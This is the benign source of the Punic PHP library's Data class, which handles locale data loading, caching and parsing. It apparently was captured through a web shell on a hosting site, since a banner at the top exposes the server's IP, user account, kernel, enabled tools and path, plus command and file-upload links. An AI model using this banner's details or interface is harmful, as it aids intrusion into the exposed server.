Server IP : 213.176.29.180 / Your IP : 18.188.162.87 Web Server : Apache System : Linux 213.176.29.180.hostiran.name 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64 User : webtaragh ( 1001) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/webtaragh/public_html/whmcs/attachments/../vendor/punic/punic/src/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php namespace Punic; /** * Common data helper stuff. */ class Data { /** * Let's cache already loaded files (locale-specific). * * @var array */ protected static $cache = array(); /** * Let's cache already loaded files (not locale-specific). * * @var array */ protected static $cacheGeneric = array(); /** * Custom overrides of CLDR data (locale-specific). * * @var array */ protected static $overrides = array(); /** * Custom overrides of CLDR data (not locale-specific). * * @var array */ protected static $overridesGeneric = array(); /** * The current default locale. * * @var string */ protected static $defaultLocale = 'en_US'; /** * The fallback locale (used if default locale is not found). * * @var string */ protected static $fallbackLocale = 'en_US'; /** * The data root directory. * * @var string */ protected static $directory; /** * Return the current default locale. * * @return string */ public static function getDefaultLocale() { return static::$defaultLocale; } /** * Return the current default language. * * @return string */ public static function getDefaultLanguage() { $info = static::explodeLocale(static::$defaultLocale); return $info['language']; } /** * Set the current default locale and language. * * @param string $locale * * @throws \Punic\Exception\InvalidLocale Throws an exception if $locale is not a valid string */ public static function setDefaultLocale($locale) { if (static::explodeLocale($locale) === null) { throw new Exception\InvalidLocale($locale); } static::$defaultLocale = $locale; } /** * Return the current fallback locale (used if default locale is not found). * * @return string */ public static function getFallbackLocale() { return static::$fallbackLocale; } /** * Return the current fallback language (used if default locale is not found). * * @return string */ public static function getFallbackLanguage() { $info = static::explodeLocale(static::$fallbackLocale); return $info['language']; } /** * Set the current fallback locale and language. * * @param string $locale * * @throws \Punic\Exception\InvalidLocale Throws an exception if $locale is not a valid string */ public static function setFallbackLocale($locale) { if (static::explodeLocale($locale) === null) { throw new Exception\InvalidLocale($locale); } if (static::$fallbackLocale !== $locale) { static::$fallbackLocale = $locale; static::$cache = array(); } } /** * Get custom overrides of CLDR locale data. * * If a locale is specified, overrides for that locale are returned, indexed * by identifier. If no locale is specified, overrides for all locales are * returned index by locale. * * @param null|mixed $locale * * @return array Associative array */ public static function getOverrides($locale = null) { if (!$locale) { return static::$overrides; } elseif (isset(static::$overrides[$locale])) { return static::$overrides[$locale]; } return array(); } /** * Set custom overrides of CLDR locale data. * * Overrides may be provides either one locale at a time or all locales at once. * * @param array $overrides Associative array index by locale (if $locale is null) or identifier * @param string $locale */ public static function setOverrides(array $overrides, $locale = null) { static::$cache = array(); if ($locale) { static::$overrides[$locale] = $overrides; } else { static::$overrides = $overrides; } } /** * Get custom overrides of CLDR generic data. * * @return array Associative array indexed by identifier */ public static function getOverridesGeneric() { return static::$overridesGeneric; } /** * Set custom overrides of CLDR locale. * * @param array Associative array indexed by identifier * @param array $overrides */ public static function setOverridesGeneric(array $overrides) { static::$cacheGeneric = array(); static::$overridesGeneric = $overrides; } /** * Get the data root directory. * * @return string */ public static function getDataDirectory() { if (!isset(static::$directory)) { static::$directory = __DIR__.DIRECTORY_SEPARATOR.'data'; } return static::$directory; } /** * Set the data root directory. * * @param string $directory */ public static function setDataDirectory($directory) { static::$directory = $directory; static::$cache = array(); } /** * Get the locale data. * * @param string $identifier The data identifier * @param string $locale The locale identifier (if empty we'll use the current default locale) * @param bool $exactMatch when $locale is specified, don't look for alternatives * * @throws \Punic\Exception Throws an exception in case of problems * * @return array * * @internal */ public static function get($identifier, $locale = '', $exactMatch = false) { if (!is_string($identifier) || $identifier === '') { throw new Exception\InvalidDataFile($identifier); } if (empty($locale)) { $locale = static::$defaultLocale; $exactMatch = false; } elseif ($exactMatch && !preg_match('/^\w+$/', $locale)) { $exactMatch = false; } $cacheKey = $locale.'@'.($exactMatch ? '1' : '0'); if (!isset(static::$cache[$cacheKey])) { static::$cache[$cacheKey] = array(); } if (!isset(static::$cache[$cacheKey][$identifier])) { if (!@preg_match('/^[a-zA-Z0-9_\\-]+$/', $identifier)) { throw new Exception\InvalidDataFile($identifier); } if ($exactMatch) { $dir = $locale; } else { $dir = static::getLocaleFolder($locale); if ($dir === '') { throw new Exception\DataFolderNotFound($locale, static::$fallbackLocale); } } $file = static::getDataDirectory().DIRECTORY_SEPARATOR.$dir.DIRECTORY_SEPARATOR.$identifier.'.php'; if (!is_file($file)) { throw new Exception\DataFileNotFound($identifier, $locale, static::$fallbackLocale); } $data = include $file; //@codeCoverageIgnoreStart // In test enviro we can't replicate this problem if (!is_array($data)) { throw new Exception\BadDataFileContents($file, file_get_contents($file)); } if (isset(static::$overrides[$locale][$identifier])) { $data = static::merge($data, static::$overrides[$locale][$identifier]); } //@codeCoverageIgnoreEnd static::$cache[$cacheKey][$identifier] = $data; } return static::$cache[$cacheKey][$identifier]; } /** * Get the generic data. * * @param string $identifier The data identifier * * @throws Exception Throws an exception in case of problems * * @return array * * @internal */ public static function getGeneric($identifier) { if (!is_string($identifier) || $identifier === '') { throw new Exception\InvalidDataFile($identifier); } if (isset(static::$cacheGeneric[$identifier])) { return static::$cacheGeneric[$identifier]; } if (!preg_match('/^[a-zA-Z0-9_\\-]+$/', $identifier)) { throw new Exception\InvalidDataFile($identifier); } $file = static::getDataDirectory().DIRECTORY_SEPARATOR."$identifier.php"; if (!is_file($file)) { throw new Exception\DataFileNotFound($identifier); } $data = include $file; //@codeCoverageIgnoreStart // In test enviro we can't replicate this problem if (!is_array($data)) { throw new Exception\BadDataFileContents($file, file_get_contents($file)); } //@codeCoverageIgnoreEnd if (isset(static::$overridesGeneric[$identifier])) { $data = static::merge($data, static::$overridesGeneric[$identifier]); } static::$cacheGeneric[$identifier] = $data; return $data; } /** * Return a list of available locale identifiers. * * @param bool $allowGroups Set to true if you want to retrieve locale groups (eg. 'en-001'), false otherwise * * @return array */ public static function getAvailableLocales($allowGroups = false) { $locales = array(); $dir = static::getDataDirectory(); if (is_dir($dir) && is_readable($dir)) { $contents = @scandir($dir); if (is_array($contents)) { foreach (array_diff($contents, array('.', '..')) as $item) { if (is_dir($dir.DIRECTORY_SEPARATOR.$item)) { if ($item === 'root') { $item = 'en-US'; } $info = static::explodeLocale($item); if (is_array($info)) { if ((!$allowGroups) && preg_match('/^[0-9]{3}$/', $info['territory'])) { foreach (Territory::getChildTerritoryCodes($info['territory'], true) as $territory) { if ($info['script'] !== '') { $locales[] = "{$info['language']}-{$info['script']}-$territory"; } else { $locales[] = "{$info['language']}-$territory"; } } $locales[] = $item; } else { $locales[] = $item; } } } } } } return $locales; } /** * Try to guess the full locale (with script and territory) ID associated to a language. * * @param string $language The language identifier (if empty we'll use the current default language) * @param string $script The script identifier (if $language is empty we'll use the current default script) * * @return string Returns an empty string if the territory was not found, the territory ID otherwise */ public static function guessFullLocale($language = '', $script = '') { $result = ''; if (empty($language)) { $defaultInfo = static::explodeLocale(static::$defaultLocale); $language = $defaultInfo['language']; $script = $defaultInfo['script']; } $data = static::getGeneric('likelySubtags'); $keys = array(); if (!empty($script)) { $keys[] = "$language-$script"; } $keys[] = $language; foreach ($keys as $key) { if (isset($data[$key])) { $result = $data[$key]; if ($script !== '' && stripos($result, "$language-$script-") !== 0) { $parts = static::explodeLocale($result); if ($parts !== null) { $result = "{$parts['language']}-$script-{$parts['territory']}"; } } break; } } return $result; } /** * Return the terrotory associated to the locale (guess it if it's not present in $locale). * * @param string $locale The locale identifier (if empty we'll use the current default locale) * @param bool $checkFallbackLocale Set to true to check the fallback locale if $locale (or the default locale) don't have an associated territory, false to don't fallback to fallback locale * * @return string */ public static function getTerritory($locale = '', $checkFallbackLocale = true) { $result = ''; if (empty($locale)) { $locale = static::$defaultLocale; } $info = static::explodeLocale($locale); if (is_array($info)) { if ($info['territory'] === '') { $fullLocale = static::guessFullLocale($info['language'], $info['script']); if ($fullLocale !== '') { $info = static::explodeLocale($fullLocale); } } if ($info['territory'] !== '') { $result = $info['territory']; } elseif ($checkFallbackLocale) { $result = static::getTerritory(static::$fallbackLocale, false); } } return $result; } /** * Return the node associated to the locale territory. * * @param array $data The parent array for which you want the territory node * @param string $locale The locale identifier (if empty we'll use the current default locale) * * @return null|mixed Returns null if the node was not found, the node data otherwise * * @internal */ public static function getTerritoryNode($data, $locale = '') { $result = null; $territory = static::getTerritory($locale); while ($territory !== '') { if (isset($data[$territory])) { $result = $data[$territory]; break; } $territory = Territory::getParentTerritoryCode($territory); } return $result; } /** * Return the node associated to the language (not locale) territory. * * @param array $data The parent array for which you want the language node * @param string $locale The locale identifier (if empty we'll use the current default locale) * * @return null|mixed Returns null if the node was not found, the node data otherwise * * @internal */ public static function getLanguageNode($data, $locale = '') { $result = null; if (empty($locale)) { $locale = static::$defaultLocale; } foreach (static::getLocaleAlternatives($locale) as $l) { if (isset($data[$l])) { $result = $data[$l]; break; } } return $result; } /** * Returns the item of an array associated to a locale. * * @param array $data The data containing the locale info * @param string $locale The locale identifier (if empty we'll use the current default locale) * * @return null|mixed Returns null if $data is not an array or it does not contain locale info, the array item otherwise * * @internal */ public static function getLocaleItem($data, $locale = '') { $result = null; if (is_array($data)) { if (empty($locale)) { $locale = static::$defaultLocale; } foreach (static::getLocaleAlternatives($locale) as $alternative) { if (isset($data[$alternative])) { $result = $data[$alternative]; break; } } } return $result; } /** * Parse a string representing a locale and extract its components. * * @param string $locale * * @return null|string[] Return null if $locale is not valid; if $locale is valid returns an array with keys 'language', 'script', 'territory', 'parentLocale' * * @internal */ public static function explodeLocale($locale) { $result = null; if (is_string($locale)) { if ($locale === 'root') { $locale = 'en-US'; } $chunks = explode('-', str_replace('_', '-', strtolower($locale))); if (count($chunks) <= 3) { if (preg_match('/^[a-z]{2,3}$/', $chunks[0])) { $language = $chunks[0]; $script = ''; $territory = ''; $parentLocale = ''; $ok = true; $chunkCount = count($chunks); for ($i = 1; $ok && ($i < $chunkCount); ++$i) { if (preg_match('/^[a-z]{4}$/', $chunks[$i])) { if ($script !== '') { $ok = false; } else { $script = ucfirst($chunks[$i]); } } elseif (preg_match('/^([a-z]{2})|([0-9]{3})$/', $chunks[$i])) { if ($territory !== '') { $ok = false; } else { $territory = strtoupper($chunks[$i]); } } else { $ok = false; } } if ($ok) { $parentLocales = static::getGeneric('parentLocales'); if ($script !== '' && $territory !== '' && isset($parentLocales["$language-$script-$territory"])) { $parentLocale = $parentLocales["$language-$script-$territory"]; } elseif ($script !== '' && isset($parentLocales["$language-$script"])) { $parentLocale = $parentLocales["$language-$script"]; } elseif ($territory !== '' && isset($parentLocales["$language-$territory"])) { $parentLocale = $parentLocales["$language-$territory"]; } elseif (isset($parentLocales[$language])) { $parentLocale = $parentLocales[$language]; } $result = array( 'language' => $language, 'script' => $script, 'territory' => $territory, 'parentLocale' => $parentLocale, ); } } } } return $result; } /** * Get value from nested array. * * @param array $data the nested array to descend into * @param array $path Path of array keys. Each part of the path may be a string or an array of alternative strings. * * @return mixed|null */ public static function getArrayValue(array $data, array $path) { $alternatives = array_shift($path); if ($alternatives === null) { return $data; } foreach ((array) $alternatives as $alternative) { if (array_key_exists($alternative, $data)) { $data = $data[$alternative]; return is_array($data) ? self::getArrayValue($data, $path) : ($path ? null : $data); } } return null; } /** * @deprecated * * @param string $territory * * @return string */ protected static function getParentTerritory($territory) { return Territory::getParentTerritoryCode($territory); } /** * @deprecated * * @param string $parentTerritory * * @return array */ protected static function expandTerritoryGroup($parentTerritory) { return Territory::getChildTerritoryCodes($parentTerritory, true); } /** * Returns the path of the locale-specific data, looking also for the fallback locale. * * @param string $locale The locale for which you want the data folder * * @return string Returns an empty string if the folder is not found, the absolute path to the folder otherwise */ protected static function getLocaleFolder($locale) { static $cache = array(); $result = ''; if (is_string($locale)) { $key = $locale.'/'.static::$fallbackLocale; if (!isset($cache[$key])) { $dir = static::getDataDirectory(); foreach (static::getLocaleAlternatives($locale) as $alternative) { if (is_dir($dir.DIRECTORY_SEPARATOR.$alternative)) { $result = $alternative; break; } } $cache[$key] = $result; } $result = $cache[$key]; } return $result; } /** * Returns a list of locale identifiers associated to a locale. * * @param string $locale The locale for which you want the alternatives * @param bool $addFallback Set to true to add the fallback locale to the result, false otherwise * * @return array */ protected static function getLocaleAlternatives($locale, $addFallback = true) { $result = array(); $localeInfo = static::explodeLocale($locale); if (!is_array($localeInfo)) { throw new Exception\InvalidLocale($locale); } $language = $localeInfo['language']; $script = $localeInfo['script']; $territory = $localeInfo['territory']; $parentLocale = $localeInfo['parentLocale']; if ($territory === '') { $fullLocale = static::guessFullLocale($language, $script); if ($fullLocale !== '') { $localeInfo = static::explodeLocale($fullLocale); $language = $localeInfo['language']; $script = $localeInfo['script']; $territory = $localeInfo['territory']; $parentLocale = $localeInfo['parentLocale']; } } $territories = array(); while ($territory !== '') { $territories[] = $territory; $territory = Territory::getParentTerritoryCode($territory); } if ($script !== '') { foreach ($territories as $territory) { $result[] = "{$language}-{$script}-{$territory}"; } } if ($script !== '') { $result[] = "{$language}-{$script}"; } foreach ($territories as $territory) { $result[] = "{$language}-{$territory}"; if ("{$language}-{$territory}" === 'en-US') { $result[] = 'root'; } } if ($parentLocale !== '') { $result = array_merge($result, static::getLocaleAlternatives($parentLocale, false)); } $result[] = $language; if ($addFallback && ($locale !== static::$fallbackLocale)) { $result = array_merge($result, static::getLocaleAlternatives(static::$fallbackLocale, false)); } for ($i = count($result) - 1; $i > 1; --$i) { for ($j = 0; $j < $i; ++$j) { if ($result[$i] === $result[$j]) { array_splice($result, $i, 1); break; } } } if ($locale !== 'root') { $i = array_search('root', $result, true); if ($i !== false) { array_splice($result, $i, 1); $result[] = 'root'; } } return $result; } protected static function merge(array $data, array $overrides) { foreach ($overrides as $key => $override) { if (isset($data[$key])) { if (gettype($override) !== gettype($data[$key])) { throw new Exception\InvalidOverride($data[$key], $override); } if (is_array($data[$key])) { $data[$key] = static::merge($data[$key], $override); } else { $data[$key] = $override; } } else { $data[$key] = $override; } } return $data; } }